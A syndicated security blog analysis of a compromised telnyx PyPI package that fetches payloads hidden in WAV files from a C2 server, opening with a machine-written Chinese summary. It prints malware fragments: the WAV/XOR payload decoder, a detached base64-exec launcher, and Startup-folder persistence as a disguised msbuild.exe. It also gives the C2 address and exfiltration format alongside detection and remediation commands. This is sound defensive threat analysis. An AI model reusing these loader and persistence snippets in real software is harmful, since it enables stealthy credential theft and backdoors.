Famous Telnyx Pypi Package compromised by TeamPCP
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户给的文章是关于TeamPCP第三次攻击PyPI的事件,特别是telnyx包的妥协。 首先,我需要快速浏览文章,抓住关键点。文章提到攻击者利用telnyx包作为后门,隐藏在音频文件中,并根据操作系统不同分发不同的恶意软件。攻击者使用了WAV格式的音频文件进行隐写术,将有效载荷隐藏其中。 接下来,文章详细描述了Linux/macOS和Windows系统的不同处理方式。Linux/macOS会下载并执行Python脚本,而Windows则会安装持久性后门,并使用msbuild.exe这样的合法工具名称来混淆视听。 此外,攻击者使用了与之前 LiteLLM 攻击相同的C2服务器和加密方法,但这次采用了动态载荷加载的方式,提高了隐蔽性和灵活性。 最后,文章提供了检测和补救措施,建议用户检查系统是否存在恶意文件,并采取相应的清理步骤。 总结这些关键点时,我需要确保内容简洁明了,在100字以内。重点包括:telnyx包被妥协、通过音频文件隐藏恶意软件、根据操作系统分发不同恶意软件、使用隐写术和动态载荷加载技术、以及与之前攻击共享基础设施的事实。 </think> 这篇文章描述了TeamPCP第三次针对PyPI的攻击事件,利用被妥协的telnyx包作为后门。该包通过将恶意代码隐藏在音频文件中,并根据目标操作系统的不同分发不同的恶意软件。攻击者使用WAV格式的音频文件进行隐写术(steganography),将有效载荷嵌入其中。对于Linux和macOS系统,恶意软件会窃取凭证;而对于Windows系统,则会安装持久性后门程序msbuild.exe,并以合法工具名称混淆视听。该攻击与之前的LiteLLM事件共享相同的C2服务器和加密方法,并引入了动态载荷加载技术以提高隐蔽性和灵活性。 2026-3-27 13:32:8 Author: securityboulevard.com(查看原文) 阅读量:5 收藏

Part 3 of the TeamPCP Supply Chain Series

Part 1 covered CanisterWorm, the self-spreading npm worm. Part 2 covered the malicious LiteLLM package and its .pth persistence. This post covers the third wave: a compromised telnyxPyPI package that hides its payload inside audio files and delivers entirely different malware depending on the victim’s operating system.

On March 27, 2026, two malicious versions of telnyx were published to PyPI (4.87.1,4.87.2). Telnyx is a widely used Python SDK for voice, SMS, and communications APIs, common in production applications that handle phone calls, messaging, and telephony infrastructure. The malicious package runs automatically on import and contacts a command-and-control server to download what appears to be an audio file. That file contains no audio at all. It contains the attacker’s payload.

The C2 server, RSA public key, and exfiltration format are identical to the LiteLLM attack from March 24. This is TeamPCP’s third PyPI strike in eight days.

Previous TeamPCP payloads embedded their second stage directly in the package source as a base64-encoded string. Static scanners can flag that pattern. This version fetches its payload live at runtime, concealed inside a .wav audio container.

When the malicious telnyx package is imported, two functions run at module level: Setup() on Windows and FetchAudio() on Linux and macOS. Both check the operating system first, then download a different .wav file and extract a different payload using the same decoding technique.

Think of it like a picture frame holding a hidden message instead of a photo. Python’s built-in wave module reads the audio frame data, but that data is not audio. The attacker has packed a base64-encoded payload into the frame bytes. The decoder then XORs the data with a short key embedded at the start of the blob to produce the final executable content.

with wave.open(wf, 'rb') as w:
    raw = base64.b64decode(w.readframes(w.getnframes()))
    s, data = raw[:8], raw[8:]
    payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

Figure 1: WAV steganography decoder shared by both the Linux and Windows paths

The first 8 bytes of the decoded blob are the XOR key (s). The rest is the payload, XOR’d byte-by-byte against that key in a repeating pattern. This is a simple but effective obfuscation layer: the payload in the .wav file is unreadable without applying the key, and the key is embedded in the data itself rather than hardcoded anywhere in the package.

The C2 serves two distinct files on two distinct endpoints:

Endpoint Platform Payload type
GET /ringtone.wav Linux / macOS Python script
GET /hangup.wav Windows PE executable

The naming is intentional misdirection. A ringtone download and a call hangup event are both plausible network requests for a telephony SDK to make.

Linux and macOS: Credential theft via detached process

On Linux and macOS, FetchAudio() runs a Python payload that is embedded directly in the package as an obfuscated string _p, launched as a completely detached subprocess:

subprocess.Popen(
    [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
    start_new_session=True
)

Figure 2: Linux and macOS payload launcher, detached from the parent process to survive termination

start_new_session=True is the key detail. It creates a new session leader, breaking the process away from the parent. When the Python application that imported telnyx exits, this process keeps running. It is not visible as a child of the original process.

The detached script downloads ringtone.wav, decodes the WAV payload, and pipes the resulting Python script into a fresh interpreter via subprocess.run([sys.executable, "-"], input=payload). The script’s output is collected, then encrypted and exfiltrated using the same pipeline documented in the LiteLLM analysis: a 32-byte random AES session key encrypts the data, the session key is RSA-OAEP encrypted with the attacker’s public key, both are bundled into tpcp.tar.gz, and the archive is POSTed to http://83.142.209.203:8080/ with the header X-Filename: tpcp.tar.gz.

The dynamic payload in ringtone.wav is a second-stage script the attacker controls and can rotate at any time without touching the PyPI package.

Windows: Silent startup persistence

The Windows path operates differently. Rather than exfiltrating credentials in a single transient run, Setup() installs a persistent binary that survives reboots and runs every time the user logs in.

The target location, obfuscated throughout the source using base64-encoded strings decoded by a helper function _d():

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe

Placing a binary in the Startup folder is a persistence technique that requires no administrator access and no registry changes. The Windows shell executes everything in that folder at login. Naming the binary msbuild.exe, after Microsoft’s legitimate build tool that ships with Visual Studio, is designed to survive a manual review of startup entries or running processes.

# decode hangup.wav using the shared WAV stego technique, write to Startup
with open(p, "wb") as f:
    f.write(payload)

# execute silently: CREATE_NO_WINDOW flag suppresses any console window
subprocess.Popen([p], creationflags=0x08000000)

Figure 3: Windows payload decoding and silent execution, with a 12-hour re-infection guard

creationflags=0x08000000 is the CREATE_NO_WINDOW flag. The binary runs with no visible console or taskbar presence.

Before installing, Setup() checks for a lock file (msbuild.exe.lock) in the same directory. If the lock exists and was written less than 12 hours ago, the function exits without doing anything. This prevents multiple concurrent infections from racing. The lock file is immediately hidden using attrib +h so it does not appear in standard Explorer views.

Attribution: Third wave, same infrastructure

The telnyx payload shares every significant infrastructure indicator with the LiteLLM attack from three days earlier:

Indicator LiteLLM (Part 2) Telnyx (Part 3)
C2 server 83.142.209.203:8080 83.142.209.203:8080
RSA public key vahaZDo8mucujrT15ry+ Identical
Exfil archive name tpcp.tar.gz tpcp.tar.gz
Encryption AES-256-CBC + RSA-OAEP Identical

The only new element is the delivery mechanism. Where LiteLLM embedded its payload in a .pth file that executed on every Python startup, telnyx fetches its payload at runtime from a live C2 endpoint. This reduces the static footprint in the package and allows the attacker to update the second-stage payload without publishing a new version.

Indicators of compromise

Network

Indicator Purpose
hxxp://83.142.209.203:8080/ringtone.wav Linux/macOS payload delivery
hxxp://83.142.209.203:8080/hangup.wav Windows payload delivery
POST hxxp://83.142.209.203:8080/ with X-Filename: tpcp.tar.gz Credential exfiltration

Filesystem

Path Platform Description
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe Windows Persistent backdoor binary
%APPDATA%\...\Startup\msbuild.exe.lock Windows Re-infection guard, hidden

Detection

# Linux/macOS: look for detached python process running base64-decoded payload
ps aux | grep "exec(base64.b64decode"

# Verify your installed telnyx source does not contact the C2
python3 -c "import inspect, telnyx; print(inspect.getfile(telnyx))"
grep -r "83.142.209.203\|ringtone.wav\|audioimport\|WAV_URL" \
  $(python3 -c "import site; print(' '.join(site.getsitepackages()))")/telnyx/

# Windows: check Startup folder for disguised binary
Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -ErrorAction SilentlyContinue
Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -ErrorAction SilentlyContinue

Figure 4: Commands to check for active telnyx infection on Linux/macOS and Windows

If the Windows artifacts are present, the binary has already been planted and has run at least once since the last login. Treat the machine as fully compromised.

Remediation recommendations

Remove the malicious package and any dropped artifacts:

pip uninstall telnyx
# reinstall a clean version after verifying source on GitHub

# Windows: remove persistence
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -Force

Rotate all cloud credentials, API keys, and SSH keys accessible from any environment where the malicious package was installed. On Windows, assume the dropped binary has had at minimum one execution opportunity since the user’s last login.

Conclusion

The telnyx compromise introduces a delivery technique that is new to this campaign: live payload fetching through WAV steganography, with the C2 serving different second stages to Linux and Windows hosts from the same infrastructure.

TeamPCP has now hit npm, PyPI CI/CD tooling, AI development libraries, and telephony infrastructure across nine days. Each wave uses the same backend but adapts the delivery to the target ecosystem. The shift from embedded payloads to live C2 delivery is the most significant technique change so far, and it means the actual capability delivered to victims is entirely under the attacker’s control at runtime.
PyPI has acted fast and quarantined Telnyx. Verify your installed telnyx version against the official GitHub repository. If you were running the malicious version, follow the remediation steps above and treat any credentials on that machine as stolen.

*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/famous-telnyx-pypi-package-compromised-by-teampcp/


文章来源: https://securityboulevard.com/2026/03/famous-telnyx-pypi-package-compromised-by-teampcp/
如有侵权请联系:admin#unsafe.sh